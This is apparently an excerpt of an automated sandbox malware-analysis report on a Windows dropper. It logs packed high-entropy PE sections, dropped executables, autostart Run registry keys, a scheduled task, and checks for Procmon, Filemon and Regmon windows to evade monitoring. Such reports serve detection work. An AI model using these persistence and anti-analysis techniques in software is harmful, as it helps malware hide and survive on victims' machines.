Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1920512 > 1048576

Source: file.exe

Static PE information: Raw size of mtubkuce is bigger than: 0x100000 < 0x1a3000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.650000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.b40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Unpacked PE file: 10.2.86526d7b20.exe.f30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Unpacked PE file: 31.2.d0d78d3fdb.exe.f30000.0.unpack :EW;.rsrc:W;.idata :W;sazuwdld:EW;giqmsvmy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Unpacked PE file: 32.2.86526d7b20.exe.f30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 86526d7b20.exe.6.dr	Static PE information: real checksum: 0x1caac0 should be: 0x1c7986
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x43ac19 should be: 0x43e553
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1caac0 should be: 0x1c7986
Source: d0d78d3fdb.exe.6.dr	Static PE information: real checksum: 0x29c596 should be: 0x2a8ce9
Source: 2a8b7e5b78.exe.6.dr	Static PE information: real checksum: 0x43ac19 should be: 0x43e553
Source: file.exe	Static PE information: real checksum: 0x1d7579 should be: 0x1df2fc
Source: 2235d4f703.exe.6.dr	Static PE information: real checksum: 0x1d61ec should be: 0x1d2d70
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d7579 should be: 0x1df2fc
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d61ec should be: 0x1d2d70
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x29c596 should be: 0x2a8ce9

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mtubkuce
Source: file.exe	Static PE information: section name: fjbqbvbv
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: mtubkuce
Source: skotes.exe.0.dr	Static PE information: section name: fjbqbvbv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: sazuwdld
Source: random[2].exe.6.dr	Static PE information: section name: giqmsvmy
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name:
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: .idata
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: sazuwdld
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: giqmsvmy
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: pablyzls
Source: random[1].exe.6.dr	Static PE information: section name: ldihguet
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name:
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: .rsrc
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: .idata
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name:
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: pablyzls
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: ldihguet
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: tbzxaang
Source: random[1].exe0.6.dr	Static PE information: section name: djfutenp
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 2235d4f703.exe.6.dr	Static PE information: section name:
Source: 2235d4f703.exe.6.dr	Static PE information: section name: .idata
Source: 2235d4f703.exe.6.dr	Static PE information: section name:
Source: 2235d4f703.exe.6.dr	Static PE information: section name: tbzxaang
Source: 2235d4f703.exe.6.dr	Static PE information: section name: djfutenp
Source: 2235d4f703.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: ldvhpekm
Source: random[1].exe1.6.dr	Static PE information: section name: pcoxsocv
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 86526d7b20.exe.6.dr	Static PE information: section name:
Source: 86526d7b20.exe.6.dr	Static PE information: section name: .idata
Source: 86526d7b20.exe.6.dr	Static PE information: section name:
Source: 86526d7b20.exe.6.dr	Static PE information: section name: ldvhpekm
Source: 86526d7b20.exe.6.dr	Static PE information: section name: pcoxsocv
Source: 86526d7b20.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05864D1A push ecx; retf	9_3_05864D40
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05864D1A push ecx; retf	9_3_05864D40
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05864D1A push ecx; retf	9_3_05864D40
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_05864D1A push ecx; retf	9_3_05864D40
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 9_3_012429FF push eax; retf	9_3_01242A11

Source: file.exe	Static PE information: section name: entropy: 7.985923989746153
Source: file.exe	Static PE information: section name: mtubkuce entropy: 7.953925168272313
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985923989746153
Source: skotes.exe.0.dr	Static PE information: section name: mtubkuce entropy: 7.953925168272313
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.771927560499484
Source: d0d78d3fdb.exe.6.dr	Static PE information: section name: entropy: 7.771927560499484
Source: random[1].exe.6.dr	Static PE information: section name: pablyzls entropy: 7.955349533688959
Source: 2a8b7e5b78.exe.6.dr	Static PE information: section name: pablyzls entropy: 7.955349533688959
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.983845632478501
Source: random[1].exe0.6.dr	Static PE information: section name: tbzxaang entropy: 7.954161399988786
Source: 2235d4f703.exe.6.dr	Static PE information: section name: entropy: 7.983845632478501
Source: 2235d4f703.exe.6.dr	Static PE information: section name: tbzxaang entropy: 7.954161399988786
Source: random[1].exe1.6.dr	Static PE information: section name: ldvhpekm entropy: 7.955852515970652
Source: 86526d7b20.exe.6.dr	Static PE information: section name: ldvhpekm entropy: 7.955852515970652

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2235d4f703.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 86526d7b20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9afe8d29fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0d78d3fdb.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2235d4f703.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2235d4f703.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 86526d7b20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 86526d7b20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9afe8d29fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9afe8d29fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0d78d3fdb.exe	Jump to behavior
